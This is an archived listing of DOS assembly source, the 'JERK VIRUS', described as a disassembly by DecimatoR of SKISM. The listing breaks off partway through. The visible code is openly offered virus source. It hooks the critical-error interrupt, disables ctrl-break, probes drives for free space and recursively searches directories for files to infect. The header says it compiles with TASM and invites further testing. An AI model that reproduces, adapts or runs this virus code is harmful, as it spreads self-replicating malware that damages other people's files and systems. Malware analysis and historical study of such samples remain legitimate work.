home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / SUPER.ASM < prev    next >
Assembly Source File  |  1992-09-13  |  34KB  |  796 lines

  1.   
  2. PAGE  59,132
  3.   
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                                                      ██
  6. ;██                             JERK VIRUS                               ██
  7. ;██                                                                      ██
  8. ;██                           Disassembly by                             ██
  9. ;██                                                                      ██
  10. ;██                         DecimatoR / SKISM                            ██
  11. ;██ NOTE: Although this code compiles with TASM 2.0, it may not function ██
  12. ;██       in the same manner as the original virus.  Test it further.    ██
  13. ;██████████████████████████████████████████████████████████████████████████
  14.   
  15. data_1e         equ     446h                    ; (009D:0446=10h)
  16. data_2e         equ     2Ch                     ; (8344:002C=0)
  17. data_3e         equ     80h                     ; (8344:0080=0)
  18. data_22e        equ     55Ch                    ; (8344:055C=0)
  19.   
  20. seg_a           segment byte public
  21.                 assume  cs:seg_a, ds:seg_a
  22.   
  23.   
  24.                 org     100h
  25.   
  26. super           proc    far
  27.   
  28. start:
  29.                 call    sub_1                   ; (010A)
  30.                 dec     bp
  31. ;*              jnz     loc_3                   ;*Jump if not zero
  32.                 db       75h, 72h
  33.                 jo      loc_2                   ; Jump if overflow=1
  34.                 jns     $-6Eh                   ; Jump if not sign
  35.   
  36. super           endp
  37.   
  38. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  39. ;                              SUBROUTINE
  40. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  41.   
  42. sub_1           proc    near
  43.                 jmp     short loc_1             ; (0115)
  44.                 db      0CDh, 20h
  45. data_7          dw      9090h, 9090h, 9090h
  46.                 db      90h
  47. loc_1:
  48.                 cld                             ; Clear direction
  49.                 pushf                           ; Push flags
  50.                 call    sub_2                   ; (0132)
  51.                 call    sub_6                   ; (01B1)
  52.                 call    sub_4                   ; (0188)
  53.                 call    sub_28                  ; (0491)
  54.                 call    sub_27                  ; (041B)
  55.                 call    sub_5                   ; (01A0)
  56.                 popf                            ; Pop flags
  57.                 pop     bp
  58.                 mov     bp,100h
  59.                 push    bp
  60.                 xor     bp,bp                   ; Zero register
  61.                 retn
  62. sub_1           endp
  63.   
  64.   
  65. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  66. ;                              SUBROUTINE
  67. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  68.   
  69. sub_2           proc    near
  70.                 call    sub_3                   ; (017E)
  71.                 mov     ax,3524h
  72.                 int     21h                     ; DOS Services  ah=function 35h
  73.                                                 ;  get intrpt vector al in es:bx
  74.                 mov     di,offset ds:[4F4h]     ; (8344:04F4=79h)
  75.                 mov     [bp+di],bx
  76.                 mov     [bp+di],es
  77.                 push    cs
  78.                 pop     es
  79.                 mov     ax,2524h
  80.                 mov     dx,offset int_24h_entry
  81.                 add     dx,bp
  82.                 int     21h                     ; DOS Services  ah=function 25h
  83.                                                 ;  set intrpt vector al to ds:dx
  84.                 mov     ax,3301h
  85.                 xor     dl,dl                   ; Zero register
  86.                 int     21h                     ; DOS Services  ah=function 33h
  87.                                                 ;  ctrl-break flag al=off/on
  88.                 mov     si,offset ds:[10Bh]     ; (8344:010B=9)
  89.                 add     si,bp
  90.                 mov     cx,9
  91.                 mov     di,offset ds:[100h]     ; (8344:0100=0E8h)
  92.                 rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
  93.                 mov     ah,1Ah
  94.                 mov     dx,offset data_21       ; (8344:053E=0)
  95.                 add     dx,bp
  96.                 mov     [bp+294h],dx
  97.                 int     21h                     ; DOS Services  ah=function 1Ah
  98.                                                 ;  set DTA to ds:dx
  99.                 mov     ah,19h
  100. loc_2:
  101.                 int     21h                     ; DOS Services  ah=function 19h
  102.                                                 ;  get default drive al  (0=a:)
  103.                 mov     [bp+4F8h],al
  104.                 mov     bx,0FFFFh
  105.                 mov     [bp+53Ch],bx
  106.                 retn
  107.   
  108. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  109.   
  110. sub_3:
  111.                 pop     bp
  112.                 push    bp
  113.                 sub     bp,134h
  114. sub_2           endp
  115.   
  116.   
  117. ;██████████████████████████████████████████████████████████████████████████
  118. ;
  119. ;                       External Entry Point
  120. ;
  121. ;██████████████████████████████████████████████████████████████████████████
  122.   
  123. int_24h_entry   proc    far
  124.                 retn
  125. int_24h_entry   endp
  126.   
  127.                 db       32h,0C0h,0CFh
  128.   
  129. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  130. ;                              SUBROUTINE
  131. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  132.   
  133. sub_4           proc    near
  134.                 mov     ah,1Ah
  135.                 mov     dx,data_3e              ; (8344:0080=0)
  136.                 int     21h                     ; DOS Services  ah=function 1Ah
  137.                                                 ;  set DTA to ds:dx
  138.                 call    sub_7                   ; (01DF)
  139.                 mov     ax,2524h
  140.                 mov     si,offset ds:[4F4h]     ; (8344:04F4=79h)
  141.                 lds     dx,dword ptr [bp+si]    ; Load 32 bit ptr
  142.                 int     21h                     ; DOS Services  ah=function 25h
  143.                                                 ;  set intrpt vector al to ds:dx
  144.                 call    sub_5                   ; (01A0)
  145.                 retn
  146. sub_4           endp
  147.   
  148.   
  149. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  150. ;                              SUBROUTINE
  151. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  152.   
  153. sub_5           proc    near
  154.                 push    cs
  155.                 pop     ds
  156.                 push    cs
  157.                 pop     es
  158.                 xor     ax,ax                   ; Zero register
  159.                 xor     bx,bx                   ; Zero register
  160.                 xor     cx,cx                   ; Zero register
  161.                 xor     dx,dx                   ; Zero register
  162.                 xor     si,si                   ; Zero register
  163.                 xor     di,di                   ; Zero register
  164.                 retn
  165. sub_5           endp
  166.   
  167.   
  168. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  169. ;                              SUBROUTINE
  170. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  171.   
  172. sub_6           proc    near
  173.                 call    sub_7                   ; (01DF)
  174.                 xor     ah,ah                   ; Zero register
  175.                 mov     cx,ax
  176.                 mov     dh,al
  177.   
  178. locloop_4:
  179.                 or      dl,dl                   ; Zero ?
  180.                 jnz     loc_5                   ; Jump if not zero
  181.                 mov     dl,dh
  182. loc_5:
  183.                 call    sub_8                   ; (01E8)
  184.                 dec     dl
  185.                 jnc     loc_6                   ; Jump if carry=0
  186.                 loop    locloop_4               ; Loop if cx > 0
  187.   
  188.                 jmp     short loc_ret_8         ; (01DE)
  189. loc_6:
  190.                 dec     cx
  191.                 jz      loc_7                   ; Jump if zero
  192.                 call    sub_9                   ; (021F)
  193.                 jnc     loc_ret_8               ; Jump if carry=0
  194.                 call    sub_7                   ; (01DF)
  195.                 call    sub_8                   ; (01E8)
  196.                 jc      loc_ret_8               ; Jump if carry Set
  197. loc_7:
  198.                 call    sub_9                   ; (021F)
  199.   
  200. loc_ret_8:
  201.                 retn
  202. sub_6           endp
  203.   
  204.   
  205. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  206. ;                              SUBROUTINE
  207. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  208.   
  209. sub_7           proc    near
  210.                 mov     ah,0Eh
  211.                 mov     dl,[bp+4F8h]
  212.                 int     21h                     ; DOS Services  ah=function 0Eh
  213.                                                 ;  set default drive dl  (0=a:)
  214.                 retn
  215. sub_7           endp
  216.   
  217.   
  218. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  219. ;                              SUBROUTINE
  220. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  221.   
  222. sub_8           proc    near
  223.                 push    cx
  224.                 push    dx
  225.                 mov     ah,36h                  ; '6'
  226.                 int     21h                     ; DOS Services  ah=function 36h
  227.                                                 ;  get free space, drive dl,1=a:
  228.                 cmp     ax,0FFFFh
  229.                 je      loc_10                  ; Jump if equal
  230.                 mul     cx                      ; dx:ax = reg * ax
  231.                 mul     bx                      ; dx:ax = reg * ax
  232.                 cmp     ax,800h
  233.                 jae     loc_9                   ; Jump if above or =
  234.                 or      dx,dx                   ; Zero ?
  235.                 jz      loc_10                  ; Jump if zero
  236. loc_9:
  237.                 pop     dx
  238.                 push    dx
  239.                 dec     dl
  240.                 mov     ah,0Eh
  241.                 int     21h                     ; DOS Services  ah=function 0Eh
  242.                                                 ;  set default drive dl  (0=a:)
  243.                 mov     ah,5Bh                  ; '['
  244.                 xor     cx,cx                   ; Zero register
  245.                 mov     dx,offset data_15+3     ; (8344:04FF=0)
  246.                 add     dx,bp
  247.                 int     21h                     ; DOS Services  ah=function 5Bh
  248.                                                 ;  create new file, name @ ds:dx
  249.                 jc      loc_11                  ; Jump if carry Set
  250.                 mov     ah,41h                  ; 'A'
  251.                 int     21h                     ; DOS Services  ah=function 41h
  252.                                                 ;  delete file, name @ ds:dx
  253.                 jmp     short loc_11            ; (021C)
  254. loc_10:
  255.                 stc                             ; Set carry flag
  256. loc_11:
  257.                 pop     dx
  258.                 pop     cx
  259.                 retn
  260. sub_8           endp
  261.   
  262.   
  263. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  264. ;                              SUBROUTINE
  265. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  266.   
  267. sub_9           proc    near
  268.                 call    sub_13                  ; (0297)
  269.                 mov     ah,3Bh                  ; ';'
  270.                 mov     dx,offset ds:[4F9h]     ; (8344:04F9=2)
  271.                 add     dx,bp
  272.                 int     21h                     ; DOS Services  ah=function 3Bh
  273.                                                 ;  set current dir, path @ ds:dx
  274.                 call    sub_10                  ; (0232)
  275.                 call    sub_14                  ; (02AB)
  276.                 retn
  277. sub_9           endp
  278.   
  279.   
  280. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  281. ;                              SUBROUTINE
  282. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  283.   
  284. sub_10          proc    near
  285.                 call    sub_11                  ; (025E)
  286.                 jc      loc_ret_14              ; Jump if carry Set
  287.                 call    sub_13                  ; (0297)
  288.                 call    sub_18                  ; (02EE)
  289.                 jnc     loc_13                  ; Jump if carry=0
  290.                 call    sub_15                  ; (02B8)
  291.                 jc      loc_13                  ; Jump if carry Set
  292. loc_12:
  293.                 mov     ah,3Bh                  ; ';'
  294.                 mov     dx,data_22e             ; (8344:055C=0)
  295.                 add     dx,bp
  296.                 int     21h                     ; DOS Services  ah=function 3Bh
  297.                                                 ;  set current dir, path @ ds:dx
  298.                 call    sub_10                  ; (0232)
  299.                 jnc     loc_13                  ; Jump if carry=0
  300.                 call    sub_14                  ; (02AB)
  301.                 call    sub_16                  ; (02D7)
  302.                 jnc     loc_12                  ; Jump if carry=0
  303. loc_13:
  304.                 call    sub_12                  ; (027C)
  305.   
  306. loc_ret_14:
  307.                 retn
  308. sub_10          endp
  309.   
  310.   
  311. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  312. ;                              SUBROUTINE
  313. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  314.   
  315. sub_11          proc    near
  316.                 mov     di,[bp+294h]
  317.                 cmp     di,0FA00h
  318.                 cmc                             ; Complement carry
  319.                 jc      loc_ret_15              ; Jump if carry Set
  320.                 add     di,offset ds:[100h]     ; (8344:0100=0E8h)
  321.                 mov     [bp+294h],di
  322.                 mov     si,offset data_21       ; (8344:053E=0)
  323.                 add     si,bp
  324.                 mov     cx,80h
  325.                 rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
  326.   
  327. loc_ret_15:
  328.                 retn
  329. sub_11          endp
  330.   
  331.   
  332. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  333. ;                              SUBROUTINE
  334. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  335.   
  336. sub_12          proc    near
  337.                 pushf                           ; Push flags
  338.                 mov     si,[bp+294h]
  339.                 sub     si,100h
  340.                 xchg    si,[bp+294h]
  341.                 mov     di,offset data_21       ; (8344:053E=0)
  342.                 add     di,bp
  343.                 mov     cx,80h
  344.                 rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
  345.                 popf                            ; Pop flags
  346.                 retn
  347. sub_12          endp
  348.   
  349.                 db      0F1h, 69h
  350.   
  351. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  352. ;                              SUBROUTINE
  353. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  354.   
  355. sub_13          proc    near
  356.                 mov     di,[bp+294h]
  357.                 add     di,data_3e              ; (8344:0080=0)
  358.                 mov     al,5Ch                  ; '\'
  359.                 stosb                           ; Store al to es:[di]
  360.                 mov     ah,47h                  ; 'G'
  361.                 mov     si,di
  362.                 xor     dl,dl                   ; Zero register
  363.                 int     21h                     ; DOS Services  ah=function 47h
  364.                                                 ;  get present dir,drive dl,1=a:
  365.                 retn
  366. sub_13          endp
  367.   
  368.   
  369. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  370. ;                              SUBROUTINE
  371. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  372.   
  373. sub_14          proc    near
  374.                 mov     ah,3Bh                  ; ';'
  375.                 mov     dx,[bp+294h]
  376.                 add     dx,data_3e              ; (8344:0080=0)
  377.                 int     21h                     ; DOS Services  ah=function 3Bh
  378.                                                 ;  set current dir, path @ ds:dx
  379.                 retn
  380. sub_14          endp
  381.   
  382.   
  383. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  384. ;                              SUBROUTINE
  385. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  386.   
  387. sub_15          proc    near
  388.                 mov     cx,12h
  389.                 mov     dx,offset ds:[4FBh]     ; (8344:04FB=0)
  390.                 call    sub_20                  ; (0343)
  391.                 jc      loc_ret_18              ; Jump if carry Set
  392.                 call    sub_17                  ; (02E0)
  393. loc_16:
  394.                 jc      loc_ret_18              ; Jump if carry Set
  395.                 mov     al,2Eh                  ; '.'
  396.                 cmp     al,[bp+55Ch]
  397.                 jne     loc_17                  ; Jump if not equal
  398.                 call    sub_16                  ; (02D7)
  399.                 jmp     short loc_16            ; (02C6)
  400. loc_17:
  401.                 clc                             ; Clear carry flag
  402.   
  403. loc_ret_18:
  404.                 retn
  405. sub_15          endp
  406.   
  407.   
  408. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  409. ;                              SUBROUTINE
  410. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  411.   
  412. sub_16          proc    near
  413.                 call    sub_21                  ; (034A)
  414.                 jc      loc_ret_19              ; Jump if carry Set
  415.                 call    sub_17                  ; (02E0)
  416.   
  417. loc_ret_19:
  418.                 retn
  419. sub_16          endp
  420.   
  421.   
  422. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  423. ;                              SUBROUTINE
  424. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  425.   
  426. sub_17          proc    near
  427.                 mov     cl,10h
  428. loc_20:
  429.                 test    cl,[bp+553h]
  430.                 jnz     loc_ret_21              ; Jump if not zero
  431.                 call    sub_21                  ; (034A)
  432.                 jnc     loc_20                  ; Jump if carry=0
  433.   
  434. loc_ret_21:
  435.                 retn
  436. sub_17          endp
  437.   
  438.   
  439. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  440. ;                              SUBROUTINE
  441. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  442.   
  443. sub_18          proc    near
  444.                 push    word ptr [bp+4EAh]
  445.                 mov     dx,offset data_15+0Dh   ; (8344:0509=0)
  446.                 xor     al,al                   ; Zero register
  447.                 call    sub_19                  ; (0313)
  448.                 jnc     loc_22                  ; Jump if carry=0
  449.                 mov     dx,offset data_15+19h   ; (8344:0515=0)
  450.                 xor     al,al                   ; Zero register
  451.                 call    sub_19                  ; (0313)
  452.                 jnc     loc_22                  ; Jump if carry=0
  453.                 mov     dx,offset data_15+1Fh   ; (8344:051B=0)
  454.                 mov     al,0FFh
  455.                 call    sub_19                  ; (0313)
  456. loc_22:
  457.                 pop     word ptr [bp+4EAh]
  458.                 retn
  459. sub_18          endp
  460.   
  461.   
  462. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  463. ;                              SUBROUTINE
  464. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  465.   
  466. sub_19          proc    near
  467.                 mov     [bp+4EAh],al
  468.                 mov     cx,23h
  469.                 call    sub_20                  ; (0343)
  470.                 jc      loc_ret_27              ; Jump if carry Set
  471.                 mov     cx,3
  472. loc_23:
  473.                 loop    locloop_24              ; Loop if cx > 0
  474.   
  475.                 stc                             ; Set carry flag
  476.                 retn
  477.   
  478. locloop_24:
  479.                 call    sub_22                  ; (034F)
  480.                 jc      loc_25                  ; Jump if carry Set
  481.                 call    sub_25                  ; (03A9)
  482.                 jc      loc_25                  ; Jump if carry Set
  483.                 call    sub_26                  ; (03DF)
  484.                 jmp     short loc_26            ; (033E)
  485. loc_25:
  486.                 call    sub_23                  ; (0371)
  487.                 call    sub_21                  ; (034A)
  488.                 jnc     loc_23                  ; Jump if carry=0
  489.                 retn
  490. loc_26:
  491.                 call    sub_23                  ; (0371)
  492.                 clc                             ; Clear carry flag
  493.   
  494. loc_ret_27:
  495.                 retn
  496. sub_19          endp
  497.   
  498.   
  499. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  500. ;                              SUBROUTINE
  501. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  502.   
  503. sub_20          proc    near
  504.                 mov     ah,4Eh                  ; 'N'
  505.                 add     dx,bp
  506.                 int     21h                     ; DOS Services  ah=function 4Eh
  507.                                                 ;  find 1st filenam match @ds:dx
  508.                 retn
  509. sub_20          endp
  510.   
  511.   
  512. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  513. ;                              SUBROUTINE
  514. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  515.   
  516. sub_21          proc    near
  517.                 mov     ah,4Fh                  ; 'O'
  518.                 int     21h                     ; DOS Services  ah=function 4Fh
  519.                                                 ;  find next filename match
  520.                 retn
  521. sub_21          endp
  522.   
  523.   
  524. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  525. ;                              SUBROUTINE
  526. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  527.   
  528. sub_22          proc    near
  529.                 push    cx
  530.                 xor     ax,ax                   ; Zero register
  531.                 cmp     ax,[bp+55Ah]
  532.                 jb      loc_28                  ; Jump if below
  533.                 mov     ax,0F000h
  534.                 cmp     ax,[bp+558h]
  535.                 jb      loc_28                  ; Jump if below
  536.                 mov     ax,9
  537.                 cmp     [bp+558h],ax
  538.                 jb      loc_28                  ; Jump if below
  539.                 mov     cl,0
  540.                 call    sub_24                  ; (039C)
  541. loc_28:
  542.                 pop     cx
  543.                 retn
  544. sub_22          endp
  545.   
  546.   
  547. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  548. ;                              SUBROUTINE
  549. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  550.   
  551. sub_23          proc    near
  552.                 push    cx
